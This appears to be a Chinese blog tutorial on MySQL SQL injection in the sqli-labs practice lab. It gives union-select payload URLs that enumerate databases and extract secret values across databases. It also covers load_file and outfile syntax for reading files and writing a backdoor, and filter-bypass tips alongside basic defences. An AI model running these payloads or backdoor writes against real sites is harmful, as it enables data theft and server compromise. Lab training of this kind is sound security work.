02_SQL注入_Mysql注入_高权限操作&数据读写&简单的防护策略

1.root权限&开发中的权限设置

在实际开发中往往会出现一个网站对应一个数据库,而一个数据库对应一个特定管理员的情况。(假设情景中,开发使用的数据库都是Mysql数据库)。考虑第一个情景:比如A网站对应数据库A,而数据库A对应管理员A,如果存在注入点的情况下,测试出是数据库管理员A的权限在操作该网站数据库A,那么在不获取更高级权限的情况下,只能进行对本网站数据库A的本站注入操作。考虑第二个情景:B网站和C网站部署在同一个服务器上,共用同一个数据库,存在注入点的情况下,测试出B网站采用的是root权限登录,那么测试者就可以通过B网站对C网站的信息进行跨库查询,这是因为root权限是Mysql中的最高权限,能够操作数据库系统中所有的数据库。

数据库权限往往和开发代码中的配置文件有关,如以下代码中

  • //including the Mysql connect parameters.**include("../sql-connections/sql-connect.php");**error_reporting(0);···

页面源码中找到如下路径/sql-connections/sql-connect.php

根据路径找到如下相关代码

  • //including the Mysql connect parameters. include("../sql-connections/db-creds.inc"); @error_reporting(0);

最终在db-creds.inc文件中找到相关配置代码,可以看出该网站使用的就是root权限操控数据库

- `<?php`
  `$dbuser ='root';`
  `$dbpass ='root';`
  `$dbname ="security";`
  `$host = 'localhost';`
  $dbname1 = "challenges";``?>`

2.Mysql 5.0以上的跨库查询

2.1 information_schema 信息库实用表名和列名

【说明:低版本可以工具(如sqlmap)实现字典爆破,工具的使用不在这里介绍】

在上一篇博文中介绍了Mysql 5.0 中的information_schema内置数据库:

常用表名(tables)

  • 1、SCHEMATA:提供了当前mysql实例中所有数据库的信息。
  • 2、TABLES:提供了关于数据库中的的信息。
  • 3、COLUMNS:提供了信息。
  • 4、STATISTICS表:提供了关于表索引的信息。
  • 5、USER_PRIVILEGES(用户权限)表:给出了关于全程权限的信息。
  • 6、SCHEMA_PRIVILEGES(方案权限)表:给出了关于方案(数据库)权限的信息。
  • 7、TABLE_PRIVILEGES(表权限)表:给出了关于表权限的信息。
  • 9、CHARACTER_SETS(字符集)表:提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。

常用列名(columns)

  • 1、table_name:表名
  • 2、column_name:列名
  • 3、table_schema:数据库名
  • 4、schema_name:数据库名–schemata库中

2.2 案例测试:sqli-labs靶场实现高权限跨库查询

(本案例没有目标就是单纯的查询整理一个操作思路,竞赛中可以通过此方式获取同一服务器其他网站的敏感信息)

Step 1.测试注入点存在与否

http://127.0.0.1/sqli-labs-master/Less-2/?id=1

回显正常

mysql sh 执行权限_web安全

http://127.0.0.1/sqli-labs-master/Less-2/?id=1%20and%201=-1

回显异常

mysql sh 执行权限_web安全_02

判断存在注入点

Step 2.报错尝试

http://127.0.0.1/sqli-labs-master/Less-2/?id=1%20order%20by%204

mysql sh 执行权限_mysql sh 执行权限_03

根据此回显判断假逻辑的拼接语句为 union select 1,2,3

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,2,3

mysql sh 执行权限_web安全_04


判断联合查询中反复替换2,3字段为回显对象即可

Step 3. 信息收集

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,database(),user()

mysql sh 执行权限_web安全_05


http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,version(),user()

mysql sh 执行权限_网络安全_06


可以得到如下可利用信息(其中假设Mysql在初步收集中已经通过站点扫描工具得到)

  • 数据库系统:Mysql
  • version :5.7.26
  • database : security
  • user :root

思路:

版本5.7.26说明可以采用高版本思路:information_schema库存在

用户是root权限说明可以通过当前站点操作整个数据库

Step 4. 数据注入

获取所有数据库名

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(schema_name),3 from information_schema.schemata

mysql sh 执行权限_安全_07


获取目标表名http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'

mysql sh 执行权限_web安全_08

获取目标列名

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(column_name),3 from information_schema.columns where table_name='s80u0rkaf8'

mysql sh 执行权限_安全性测试_09


获取目标值http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(sessid),group_concat(secret_1TTT) from challenges.s80u0rkaf8

mysql sh 执行权限_网络安全_10

自此我们在security数据库对应的页面中,拿到了challenge表的信息

3. Mysql文件读写和简单的防御策略

3.1 路径获取和读写语法

路径的获取方法

不管是文件写入和文件读取,都需要知道一个路径作为参数,以下介绍几种获取路径的常用思路:

报错显示:网站错误的时候会显示出文件的路径 warning;

遗留文件:phpinfo.php敏感文件扫描;

漏洞报错:根据CMS和白引擎进行关键字搜索 “CMS + 爆路径”;

平台配置文件:根据环境来,尝试一些默认路径,但往往是会改动的,比较难找;

暴力破解:常规思路,尝试常见路径爆破;

文件读写:

读取函数:load_file(),语法: select load_file("path") 可以读取网站的配置信息,网站路径等

写入后门操作,直接再网站目录中写入后门脚本 select ‘x’ int outfile’path’–+

3.2 防御策略

对于sql注入的一种防御策略是

1、平台自带策略

魔术引号为例:magic_quotes_gpc

在一个项目中,魔术引号若是打开的话,所有的反斜线(\)、单引号(')、双引号(")、NULL 字符都会被自动加上一个反斜线进行转义,我们注入的语句中,可能包含大量的以上符号,打开魔术引号,可以对我们的明文注入产生干扰。

绕过方式也很简单:采用宽字符注入或者使用工具对我们注入的值进行编码转换成Hex十六进制

2、使用内置函数将代码写严谨

addslashed(),is_array(),is_integer()

例如:如下代码,严格限制id为整数

  • $id=$_GET['id'];if(is_integer($id)){ $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";echo '语句已执行'}else{echo'不要乱搞' ``}`

3、关键字替换

$id=str_replace('select','lallalala',$id);

上述代码将id中的select关键词替换成无效语句,一定程度上也能避免注入操作,当然windows中不区分大小写,锁业如果采用这种思路需要充分考虑所有可能绕过安全机制的方案。

4、WAF产品

基本WAF产品也是通过一些过滤机制防止注入,本篇不对WAF绕过进行讲解